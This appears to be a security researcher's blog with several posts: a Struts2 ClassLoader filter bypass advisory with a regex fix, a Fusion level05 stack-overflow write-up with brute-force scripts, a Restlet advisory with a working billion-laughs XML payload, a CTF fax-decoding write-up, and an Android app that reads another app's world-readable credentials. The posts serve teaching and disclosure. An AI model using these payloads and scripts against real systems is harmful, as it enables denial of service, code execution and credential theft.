post

Struts2 0day in the wild

Remote code execution 0 day in up-to-date Struts 2 applications:

Some months ago Struts2 announced a security vulnerability S2-020 that allowed ClassLoader manipulation and that could be used to get Remote Code Execution on certain application servers like Tomcat 8. The fix for this vulnerability was to forbid the (.*\.|^)class\..* regex from action parameters. However a bypass was made public that basically consists in changing the dot notation for the square bracket notation. So instead of using class.classloader to access the classloader, the bypass used class['classLoader']. I just verified the bypass on my local PoC with latest Struts version (2.3.16.1) and I was able to pop up an evil calc. Also it is possible to bypass the original regex by using Class.classloader (with capital 'C').

Remediation:

While Struts2 releases a fix, please update your excludeParams regex to account for the opening square bracket and capital 'C':

(.*\.|^)(class|Class)(\.|\[).*

Update: After talking with Struts2 security team, they confirmed they are working on the patch and the regex to be released will be:
(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*

The easiest way is to modify your struts config file and add:

<struts>  
...
...
    <package name="default" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor-stack name="secureParamInterceptor">
                <interceptor-ref name="defaultStack">
                    <param name="params.excludeParams">(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*,^dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,^parameters\..*,^action:.*,^method:.*</param>
                </interceptor-ref>
            </interceptor-stack>
        </interceptors>

        <default-interceptor-ref name="secureParamInterceptor" />
        ...
        ...
    </package>
...
...
</struts>  

Stay secure!

Crowd-Solving Fusion level05

I played with Fusion level05 for a couple of days last Xmas and although I found how to smash the stack, I couldn't find any reliable way of leaking the .text base address to bypass PIE protection so I left it there. Yesterday, a tweet from @Newlog_ got me thinking it could be a good idea to post what I've done so far in case anyone wants to pick it from there and help solving the level. Lets call this crowd-solving :-D

So lets get the ball rolling:

In level05 we are given the following server code:

#include "../common/common.c"

#include <task.h>

#define STACK (4096 * 8)

unsigned int hash(unsigned char *str, int length, unsigned int mask)  
{
  unsigned int h = 0xfee13117;
  int i;

  for(h = 0xfee13117, i = 0; i < length; i++) {
    h ^= str[i];
    h += (h << 11);
    h ^= (h >> 7);
    h -= str[i];
  }
  h += (h << 3);
  h ^= (h >> 10);
  h += (h << 15);
  h -= (h >> 17);

  return (h & mask);
}

void fdprintf(int fd, char *fmt, ...)  
{
  va_list ap;
  char *msg = NULL;

  va_start(ap, fmt);
  vasprintf(&msg, fmt, ap);
  va_end(ap);

  if(msg) {
    fdwrite(fd, msg, strlen(msg));
    free(msg);
  }
}

struct registrations {  
  short int flags;
  in_addr_t ipv4;
} __attribute__((packed));

#define REGDB (128)
struct registrations registrations[REGDB];

static void addreg(void *arg)  
{
  char *name, *sflags, *ipv4, *p;
  int h, flags;
  char *line = (char *)(arg);

  name = line;
  p = strchr(line, ' ');
  if(! p) goto bail;
  *p++ = 0;
  sflags = p;
  p = strchr(p, ' ');
  if(! p) goto bail;
  *p++ = 0;
  ipv4 = p;

  flags = atoi(sflags);
  if(flags & ~0xe0) goto bail;

  h = hash(name, strlen(name), REGDB-1);
  registrations[h].flags = flags;
   registrations[h].ipv4 = inet_addr(ipv4);

  printf("registration added successfully\n");

bail:  
  free(line);
}

static void senddb(void *arg)  
{
  unsigned char buffer[512], *p;
  char *host, *l;
  char *line = (char *)(arg);
  int port;
  int fd;
  int i;
  int sz;

  p = buffer;
  sz = sizeof(buffer);
  host = line;
  l = strchr(line, ' ');
  if(! l) goto bail;
  *l++ = 0;
  port = atoi(l);
  if(port == 0) goto bail;

  printf("sending db\n");

  if((fd = netdial(UDP, host, port)) < 0) goto bail;

  for(sz = 0, p = buffer, i = 0; i < REGDB; i++) {
    if(registrations[i].flags | registrations[i].ipv4) {
      memcpy(p, &registrations[i], sizeof(struct registrations));
      p += sizeof(struct registrations);
      sz += sizeof(struct registrations);
    }
  }
bail:  
  fdwrite(fd, buffer, sz);
  close(fd);
  free(line);
}

int get_and_hash(int maxsz, char *string, char separator)  
{
  char name[32];
  int i;

  if(maxsz > 32) return 0;

  for(i = 0; i < maxsz, string[i]; i++) {
    if(string[i] == separator) break;
    name[i] = string[i];
  }

  return hash(name, strlen(name), 0x7f);
}


struct isuparg {  
  int fd;
  char *string;
};


static void checkname(void *arg)  
{
  struct isuparg *isa = (struct isuparg *)(arg);
  int h;

  h = get_and_hash(32, isa->string, '@');

  fdprintf(isa->fd, "%s is %sindexed already\n", isa->string, registrations[h].ipv4 ? "" : "not ");

}

static void isup(void *arg)  
{
  unsigned char buffer[512], *p;
  char *host, *l;
  struct isuparg *isa = (struct isuparg *)(arg);
  int port;
  int fd;
  int i;
  int sz;

  // skip over first arg, get port
  l = strchr(isa->string, ' ');
  if(! l) return;
  *l++ = 0;

  port = atoi(l);
  host = malloc(64);

  for(i = 0; i < 128; i++) {
    p = (unsigned char *)(& registrations[i]);
    if(! registrations[i].ipv4) continue;

    sprintf(host, "%d.%d.%d.%d",
      (registrations[i].ipv4 >> 0) & 0xff,
      (registrations[i].ipv4 >> 8) & 0xff,
      (registrations[i].ipv4 >> 16) & 0xff,
      (registrations[i].ipv4 >> 24) & 0xff);

    if((fd = netdial(UDP, host, port)) < 0) {
      continue;
    }

    buffer[0] = 0xc0;
    memcpy(buffer + 1, p, sizeof(struct registrations));
    buffer[5] = buffer[6] = buffer[7] = 0;

    fdwrite(fd, buffer, 8);

    close(fd);
  }

  free(host);
}

static void childtask(void *arg)  
{
  int cfd = (int)(arg);
  char buffer[512], *n;
  int r;


  n = "** welcome to level05 **\n";

  if(fdwrite(cfd, n, strlen(n)) < 0) goto bail;

  while(1) {
    if((r = fdread(cfd, buffer, 512)) <= 0) goto bail;

    n = strchr(buffer, '\r');
    if(n) *n = 0;
    n = strchr(buffer, '\n');
    if(n) *n = 0;

    if(strncmp(buffer, "addreg ", 7) == 0) {
      taskcreate(addreg, strdup(buffer + 7), STACK);
      continue;
    }

    if(strncmp(buffer, "senddb ", 7) == 0) {
      taskcreate(senddb, strdup(buffer + 7), STACK);
      continue;
    }

    if(strncmp(buffer, "checkname ", 10) == 0) {
      struct isuparg *isa = calloc(sizeof(struct isuparg), 1);

      isa->fd = cfd;
      isa->string = strdup(buffer + 10);

      taskcreate(checkname, isa, STACK);
      continue;
    }

    if(strncmp(buffer, "quit", 4) == 0) {
      break;
    }

    if(strncmp(buffer, "isup ", 5) == 0) {
      struct isuparg *isa = calloc(sizeof(struct isuparg), 1);
      isa->fd = cfd;
      isa->string = strdup(buffer + 5);
      taskcreate(isup, isa, STACK);
    }
  }

bail:  
  close(cfd);
}

void taskmain(int argc, char **argv)  
{
  int fd, cfd;
  char remote[16];
  int rport;

  signal(SIGPIPE, SIG_IGN);
  background_process(NAME, UID, GID);

  if((fd = netannounce(TCP, 0, PORT)) < 0) {
    fprintf(stderr, "failure on port %d: %s\n", PORT, strerror(errno));
    taskexitall(1);
  }

  fdnoblock(fd);

  while((cfd = netaccept(fd, remote, &rport)) >= 0) {
    fprintf(stderr, "accepted connection from %s:%d\n", remote, rport);
    taskcreate(childtask, (void *)(cfd), STACK);
  }



}

The server takes different commands as input:

  • addreg [name] [flags] [ip]: Register an IP with a given flags (32,96 or 224) and store it in an array with an index provided by a custom hash function of the given name
  • senddb [ip] [port]: Sends all the registered IPs to the given ip and port using UDP
  • isup [skipped] [port]: Loop through all the ips registered and for those with a valid ip, it sends the details to that ip and the provided port
  • checkname [name]: Calculate the custom hash of the given name and checks if the registration array contains a valid ip for that hash
  • quit: Exit

There are a couple of overflows that we can abuse:

The first one is on get_and_hash "for" loop:

for(i = 0; i < maxsz, string[i]; i++) {  
  if(string[i] == separator) break;
   name[i] = string[i];
}

The loop wont stop at maxsz allowing writing beyond the limits of the "name" buffer (32). We can quickly verify this using metasploit to find the right overflow offet:

[email protected]:~$ /opt/metasploit-framework/tools/pattern_create.rb 64  
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A  
[email protected]:~$ nc localhost 20005  
** welcome to level05 **
checkname Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A  

Monitoring the process with gdb we get:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.  
0x35624134 in ?? ()  

That corresponds to offset 44:

[email protected]:~$ /opt/metasploit-framework/tools/pattern_offset.rb 35624134  
44  

This allows us to write beyond "name" buffer limits and into the stored base pointer and instruction pointer. Actually looks like a nice place to place our payload:

(gdb) x/100wx $esp
0xb940cc6c:    0x44444444  0x42424242  0x42424242  0x42424242  
0xb940cc7c:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cc8c:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cc9c:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940ccac:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940ccbc:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cccc:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940ccdc:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940ccec:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940ccfc:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cd0c:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cd1c:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cd2c:    0x42424242  0x42424242  0x42424242  0x00000000  

There is another overflow that we cannot exploit since there is a call to free(line) before returning from the function that crash the application. This one is in the senddb function:

unsigned char buffer[512], *p;  
..
..
for(sz = 0, p = buffer, i = 0; i < REGDB; i++) {  
  if(registrations[i].flags | registrations[i].ipv4) {
    memcpy(p, &registrations[i], sizeof(struct registrations));
    p += sizeof(struct registrations);
    sz += sizeof(struct registrations);
  }
}
bail:  
  fdwrite(fd, buffer, sz);
  close(fd);
  free(line);

buffer is 512 bytes long but we can overwrite it with 128 (REGDB) registrations which are 6 bytes long each. So with 85 of them we can overwrite the destination buffer. The problem is that line will also be affected and the call to free(line) will segfault before getting to ret

This was one of the first vectors I tried to use to leak the binary base address since we can overwrite some registers before crashing that could leak the base address plus a fixed offset. However there is no difference in the application behaviour that we can use to know if we overwrote those register bytes with the right values or not (as we did for level04)

Anyway if someone wants to give it a try they will first need to set up a listener for the info coming from the senddb fdwrite function. I wrote this listener that works on port 6666/UDP and that works for senddb and isup commands:

#!/usr/bin/python

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_DGRAM)  
s.bind(('0.0.0.0', 6666))  
while True:  
    data =  s.recv(1024)
    print("[+] Received UDP packet with length {0}: {1}".format(len(data), data.encode("hex")))
    if data[:1].encode("hex") == "c0":
        print("[+] Received ISUP packet {0}".format(data.encode("hex")))
        print("[+]   Control char: " + data[:1].encode("hex"))
        flags = unpack("<H", data[1:3])[0]
        print("[+]   Flags: {0}".format(int(flags),16))
        # Not printing the ip since we miss a byte and since it will always be our own ip otherwise we could not receive it
        #reg = unpack("<I", data[3:7])[0]
        #print("[+]   3 bytes from address: {0}".format(reg))
    else:
        i = 0
        print("[+] Received SENDDB packet with {0} registrations".format(len(data)/6))
        while i < len(data):
                reg = data[i:i+6]
                print("[+] Received SENDDB packet {0}".format(reg.encode("hex")))
                flags = unpack("<H", reg[0:2])[0]
                print("[+]   Flags: {0}".format(int(flags),16))
                host = unpack("<I", reg[2:6])[0]
                print("[+]   Host ({2}) IP: {0} ({1})".format(inet_ntoa(reg[2:6]),reg[2:6].encode("hex"),(i+6)/6))
                i += 6

Using this listener and the following bruteforce client script, we can find which names generate the right hashes to overwrite ebp, ebx, eip ...

#!/usr/bin/python

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 20005))  
for i in xrange(139):  
        if i == 84:
                # EBP
                payload = "addreg {0} 32 {1}\n".format(i,inet_ntoa("\x44\x44\x44\x44"))
        elif i == 50:
                # EBX
                payload = "addreg {0} 32 {1}\n".format(i,inet_ntoa("\x41\x41\x41\x41"))
        else:
                payload = "addreg {0} 32 127.0.0.{0}\n".format(i)
        s.send(payload)
s.send("senddb 127.0.0.1 6666\n")  
s.close()  

Running the script will get us the following packets in our listener:

[email protected]:~$ python fusion05-senddb.py  
..
..
[+]   Host (86) IP: 127.0.0.70 (7f000046)
[+]   Host (87) IP: 127.0.0.69 (7f000045)
[+]   Host (88) IP: 127.0.0.137 (7f000089)
[+]   Host (89) IP: 65.65.65.65 (41414141)
[+]   Host (90) IP: 127.0.0.87 (7f000057)
[+]   Host (91) IP: 68.68.68.68 (44444444)

It turns out that we need 139 different "names" to produce 91 unique hashes that are the ones required to overflow the buffer (not 85 as we calculated)
The problem is that the 91 registration also overwrites the argument to free(line) as shown in GDB right before calling free()

In the first overflow (the get_and_hash() one), we overwrite esi and edi which change on every request before overwriting ebp and eip. Overwriting ebp byte a byte can leak the binary load offset but in order to do so we have to overwrite esi with an address with write permissions (since "checkname" contains the following instruction after leaving get_and_hash: <checkname+107>: mov (%esi),%eax) and even guessing a good one, overwriting ebp does not change the server behaviour to make educated guesses about the right ebp value. So this looks like a dead end for my newbie skills.

So here I am stucked, any ideas?

Remote code execution and XML Entity Expansion injection vulnerabilities in the Restlet framework

This blog was published in the HP Security research blog but publishing it here for greater dissemination:

Advisory overview

Restlet is a lightweight Java framework for building RESTful APIs. It comes in different flavors (Java SE, Java EE, Android, Google Web Toolkit and Google App Engine) and is composed of a core API and different extensions that provide additional functionality.

While adding support for the Restlet API to HP Fortify SCA, the Software Security Research group discovered that the XStream extension prior to 2.2 RC3 is susceptible to Remote Code Execution (RCE) via unsafe deserialization of XML messages. Also, versions prior to 2.1.7 and 2.2 RC1 contain APIs susceptible to XML Entity Expansion (XEE) injection, including the default extension to handle XML messages (JAXB).

 Remote code execution via unsafe XStream deserialization

RESTful APIs normally deal with JSON or XML Messages. If the latter is used, a broad set of XML data binding options are available for the developer to choose from; JAXB, JiBX and XStream amongst others. XStream is unique because it allows more than simple Java POJOs to be serialized. In particular, it allows the serialization of Java Dynamic Proxies. If the application is configured to use the XStream extension to handle XML messages, an attacker can easily abuse it by sending specially crafted XML messages that use Dynamic Proxy serialization to execute arbitrary code on the server side. HP SSR previously identified a similar vulnerability in the core XStream library and the frameworks using it (such as SpringMVC, for example).

Details

A dynamic proxy can intercept calls to any method declared in the interface it implements.

Dynamic proxy deserialization allows an attacker to send a serialized object that invokes dynamic proxy methods during its initialization, the simplest case being a java.util.SortedSet that includes a regular object like a String and an object that proxifies the java.lang.Comparable interface. During the deserialization of the SortedSet, the “compare” method of each object in the set is invoked in order to sort the set and the proxified object will replace the original call to “compare” with the attacker’s custom payload.

When the Restlet controller receives a malicious XML payload, it attempts to de-serialize it using XStream, effectively executing the malicious payload. Since the application would not normally be expecting a SortedSet, it throws an exception as soon as the SortedSet is cast to the expected type but the payload has already executed.

Mitigation

If your application relies on the use of XStream, make sure it uses at least Restlet 2.2 RC3 where a whitelist feature has been added to prevent the deserialization of unexpected objects.

 XML Entity Expansion (XEE) injection

The core API uses JAXB to unmarshall XML messages on both client and server code by default. Restlet failed to disable local entity resolution, enabling attackers to run XEE (XML Entity Expansion) attacks -- attackers could perform Denial of Service (DOS) attacks on Restlet-based web services.

This is not the first time we’ve found this type of problem in RESTful frameworks. Last August we found that all SpringMVC/JAXB-based web services were vulnerable to XXE (XML External Entity) attacks as described in CVE-2013-4152 (details published by the SpringMVC team).

If you are not familiar with these types of vulnerabilities, you can learn how XXE and XEE attacks work in our XML Entity based attacks post.

In this case, Restlet APIs were correctly configured to disable external entity resolution by default and were not vulnerable to XXE attacks. However, Doctype blocks (DTD) processing and local entity resolution were allowed and, more importantly, could not be disabled by any configuration property, making all the Restlet-based web services consuming XML messages vulnerable to this attack.

Details

The following snippet describes a simplified Restlet Server Resource consuming XML messages sent by clients to create Contacts:

import org.restlet.resource.Post;  
import org.restlet.resource.ServerResource;  
import org.restlet.ext.xml.XmlRepresentation;

public class XMLResource extends ServerResource {  
    @Post("xml")
    public Contact createContact(Contact c) {
        System.out.println("Contact received: " + c.getName());
        return c;
    }
}

Since Restlet versions prior to version 2.1.7 and 2.2 RC1 do not disable local entity resolution, an attacker could send a contact like this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>  
<!DOCTYPE root [  
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<contact>  
    <name>&lol9;</name>
    <lastName>test</lastName>
</contact>  

When processed internally by the Restlet XML processor (that uses JAXB by default) for instantiating a Contact object, the name of the contact unfolds into more than 1 billion “lol” strings - using almost 3GB of memory and crashing the Java Virtual Machine (JVM) on the server. This attack is also known as the Billion laughs attack.

The Restlet components affected by this vulnerability are:

  • "xml" extension,
  • "atom", "javamail", "lucene", "odata", "openid", "rdf", "wadl", "xdb" that directly depends on the "xml" extension.
  • "jackson", "jaxb", "jibx", "xstream", "rome" that provides automatic converters.

 Mitigation

Update to Restlet versions 2.1.7, 2.2 RC1 and above that disable local entity resolution by default.

More technical details can be found in the Restlet technical note.

 CVEs

Olympic CTF Freestyle 400: Make similar Write Up

In this task we were presented an audio file (similar.ogg) containg a signal that sounded like a Fax machine. Actually a Hint later published read 129 LPM (Lines per minute) so it looked like a RadioFax or HF Fax transmission. So we could use RadioFax software to extract the image being transmitted.

We tried different tools like MultiPSK, MIXW and SeaTTY and finally got some "clear enough" images:

and

We saw the contents of a file being transmitted in something that looked like UUencoding:

After a tedious manual OCR trying to tell the "1" and "l" apart, we came with the following text:

begin 644 rfax_man  
h5sg60BSxwp62+57aMLVTPK3i9b-t+5pGLKyPA-FxxuysvFs+BT8+o0dVsM24  
hcZHRaWYEHRBGFGtqk-cMV7oqqQRzbobGRB9Kwc-pTHzCDSSMJorR8d-pxdqd  
hLWpvQWRv-N33mFwEicqz+UFkDYsbDvrfOC7tko5g1JrrSX0swhn64neLsohr  
h26K1mSxnS+TF1Cta8GHHQ-t1Cfp7nh-oZeFuVi5MEynqyzX8kMtXcAynSLQx  
hg4o56Pu4YUZHMqDGtczKeCwXU8PZEc4lY0FbDfFfgZpJFC-a-sHGLtGJgCMZ  
hksr6XNTedEUdVJqxOO5VaReoH68eEPJ2m6d9mKhlhVE7zw4Yru4DUWRCJH28  
hyeth+l2IOgPnEfrTLwAc+-TPS0YKYY3K0np58gVPgdAN8RY7+rQfRDin9JSa  
hOG32WG7-rTl3uthvrnDO-wD09GDIRCniuoefs8UsfiWZOLq+0awOrQxAPM+C  
hxLwOJ9VUKwdn7dJduLn1KhBucvL1pr5lGiBFfUbL79cFFex+G27kT+fsQ7X5  
h87mgPivWhDSQHKPXqpKGniDkYsIYpg66ZWbHp4PfcgtPukElDWENlQPSuNAQ  
hnboE4Bd8kyyokt67GgfGvBVS45sMFPtlgKRlG-QPFSgbMHujA3qYemxnuqGx  
hp97aXpdKpvAE8zx-oUzazoVFz32X3OxAuiWJhKEjaYKpM7f95yvlS62v+k++  
+
end  

We tried to UUdecode it with no luck until we realized it was no UUEncoding but XXEncoding that only uses alpha characters and the "+" symbol and that you can easily recognize for the lines starting with "h"s.

Based on the info on the wikipedia, I wrote this simple script to decode it:

# XXdecoding
decoded = ""  
for line in encoded.split('\n'):  
    line = line [1:]
    for char in line:
        ref = xxset.index(char)
        binref = str(bin(ref))[2:]
        binref = "0" * (6-len(binref)) + binref
        decoded += binref
data = hex(int(decoded, 2))[2:-1].decode("hex")  

The resulting bytes were identified as a gzipped archive and can be unarchived even if corrupted bytes are present (thing we were sure about since the manual OCR was hard).

[email protected] ~/D/O/Freestyle400_Make similar> file fax  
fax: gzip compressed data, was "rfax_man.py", from FAT filesystem (MS-DOS, OS/2, NT), last modified: Thu Feb  6 17:52:39 2014, max speed  

Full script to get xxencoded file contents:

import zlib

xxset = "+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"  
encoded = """h5sg60BSxwp62+57aMLVTPK3i9b-t+5pGLKyPA-FxxuysvFs+BT8+o0dVsM24  
hcZHRaWYEHRBGFGtqk-cMV7oqqQRzbobGRB9Kwc-pTHzCDSSMJorR8d-pxdqd  
hLWpvQWRv-N33mFwEicqz+UFkDYsbDvrfOC7tko5g1JrrSX0swhn64neLsohr  
h26K1mSxnS+TF1Cta8GHHQ-t1Cfp7nh-oZeFuVi5MEynqyzX8kMtXcAynSLQx  
hg4o56Pu4YUZHMqDGtczKeCwXU8PZEc4lY0FbDfFfgZpJFC-a-sHGLtGJgCMZ  
hksr6XNTedEUdVJqxOO5VaReoH68eEPJ2m6d9mKhlhVE7zw4Yru4DUWRCJH28  
hyeth+l2IOgPnEfrTLwAc+-TPS0YKYY3K0np58gVPgdAN8RY7+rQfRDin9JSa  
hOG32WG7-rTl3uthvrnDO-wD09GDIRCniuoefs8UsfiWZOLq+0awOrQxAPM+C  
hxLwOJ9VUKwdn7dJduLn1KhBucvL1pr5lGiBFfUbL79cFFex+G27kT+fsQ7X5  
h87mgPivWhDSQHKPXqpKGniDkYsIYpg66ZWbHp4PfcgtPukElDWENlQPSuNAQ  
hnboE4Bd8kyyokt67GgfGvBVS45sMFPtlgKRlG-QPFSgbMHujA3qYemxnuqGx  
hp97aXpdKpvAE8zx-oUzazoVFz32X3OxAuiWJhKEjaYKpM7f95yvlS62v+k++"""

# XXdecoding
decoded = ""  
for line in encoded.split('\n'):  
    line = line [1:]
    for char in line:
        ref = xxset.index(char)
        binref = str(bin(ref))[2:]
        binref = "0" * (6-len(binref)) + binref
        decoded += binref
data = hex(int(decoded, 2))[2:-1].decode("hex")

# unziping
try:  
    z = zlib.decompressobj(-15)
    print z.decompress(data[22:])  # skip the gzip header
except:  
    pass

The result is a python script with some corrupted chars but the Flag is Ok and can be read it:

import socket,os,sys,hashlib

KEY  = "CTF{4BDF4498E4922B88642D4915C528DA8F}" # DO NOT SHARE THIS!  
HOST = '109.233.61.11'  
PORT = 8001

if len(sys.argv)<3:  
  print 'Usage: rfax_man.py add|del file.png'
  print '\nAdd your pictures to transmission!\nSizes: 800<=width<=3200 and oeight/width <= 2.0.\nUse contrast grayscale pictures.'
  sys.exit(()

data=open(sys.argv[2],'rb').read(100000()

m=hashlib.md5(); m.update(KEY); KEYH=m.hexdigest().upper()  
m=hashlib.md5(); m.update(data); h=m.hexdigest().upper()  
print 'File hash',h

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((HOST, PORT))  
print 'Connected.'

if sys.argv[1]=='add':  
  s.sendall(KEYH+':ADD:'+data)
  s.shutdown(socket.SHUT_WR)
  print s.recv(1024)
elif sys.argv[1]=='del':  
  s.sendall(KEYH+':DEL:'+h)
  print s.recv(1024)

s.close()  
print 'Done.'  

XML Entities based attacks

"Wait, I'm not clear on what's happening here. Is this even possible? Just by giving an application a single piece of XML, you can cause it to steal other files for you?"

Those were a customer’s words when an XML External Entity injection vulnerability was reported on one of his applications and although these kinds of attacks are known since the early 2000s I'm still under the impression that they are not known and tested enough by application developers and security auditors. Actually during this research we found complete frameworks like SpringMVC being vulnerable to XXE injection. Find more on the podcast and whitepaper I wrote on this interesting topic in the HPSR blog.

FourGoats Vulnerabilities: Information Leakage through SharedPreferences

OK, so let start reviewing the FourGoats App.
First, If you havent done yet, clone the ForGoats repo from github to get the source code.

Try to get an idea of how does the app work, install it in your device and/or emulator and get familiar with the different activities and application flow.

Open the Main activity and check what its doing. Basically, its looking for a sessionToken and if she cannot find it, it will start the Login Activity, otherwise it will take the user to the Home or AdminHome activities.

Lets review the Login activity.

The first thing that looks really weird is:

SharedPreferences prefs = getSharedPreferences("credentials", MODE_WORLD_READABLE);  

So the app is storing the user credentials under a World Readable SharedPreferences file that will be accessible in: /data/data/org.owasp.goatdroid.fourgoats/shared-prefs/credentials.xml

So any application installed on your device will be able to read these credentials. Lets write a sample app that retrieve that info and show it on the display. I will hold these apps in gitHub on the following repo: https://github.com/pwntester/OWASP-GoatDroid-Dolphis

Why dolphins?? well because they are not malware, just dolphins LOL

Ok, so create a new Android app in your IDE of choice (I will be using Eclipse) and use the MainActivity onCreate method to get the FourGoats application context and read its sharedPreferences:

@Override
public void onCreate(Bundle savedInstanceState) {  
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    Context fourgoatsAppContext = null;
    try {
        fourgoatsAppContext = createPackageContext("org.owasp.goatdroid.fourgoats", Context.CONTEXT_IGNORE_SECURITY);
    } catch (NameNotFoundException e) {
    }
    SharedPreferences sPrefs = fourgoatsAppContext.getSharedPreferences("credentials", Context.MODE_WORLD_READABLE);
    String passwd = sPrefs.getString("password", "");
    Map<String, ?> prefs = (Map<String, String>) sPrefs.getAll();
    String credentials = "OWASP FourGoats Credentials:\r\n";
    for (Map.Entry<String, ?> entry : prefs.entrySet()) {
        credentials = credentials + "Key : " + entry.getKey() + " Value : " + entry.getValue().toString() + "\r\n";
    }
    TextView text = new TextView(this);
    text.setText(credentials);
    setContentView(text);
}

You can find the app source code here

Ok, so now you can start the fourgoats application and log in with your user.

If you start the sharedPreferences dolphin anytime after, you will be able to access the FourGoats credentials and you will get something like:

Note: The credentials will only be available if the user checked the "Remember me" checkbox

The secure coding recommendations for this vulnerability are quite simple: Dont store sensitive data in any WORLD_READABLE sharedPreference object!

Soon more vulnerabilities :)

Enjoy!